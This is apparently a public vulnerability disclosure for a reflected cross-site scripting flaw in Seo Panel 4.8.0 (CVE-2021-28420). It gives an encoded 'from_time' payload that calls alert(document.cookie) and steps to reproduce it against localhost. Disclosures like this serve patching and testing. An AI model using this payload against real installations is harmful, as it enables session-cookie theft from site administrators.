19 lines
No EOL
709 B
Text
19 lines
No EOL
709 B
Text
# Exploit Title: Seo Panel 4.8.0 - 'from_time' Reflected XSS
|
|
# Date: 23-03-2021
|
|
# Exploit Author: Piyush Patil
|
|
# Vendor Homepage: https://www.seopanel.org/
|
|
# Version: Seo Panel 4.8.0
|
|
# Tested on: Windows 10 and Kali
|
|
# CVE : CVE-2021-28420
|
|
|
|
-Description:
|
|
A cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote
|
|
attackers to inject JavaScript via alerts.php and the "from_time" parameter.
|
|
|
|
-Payload used:
|
|
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
|
|
|
|
-Steps to reproduce:
|
|
1- Login to SEO admin panel
|
|
2- Visit: http://localhost/alerts.php?alert_category=general&from_time=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&keyword=&to_time=2021-03-11
|
|
3- Hover your mouse to "Period" field |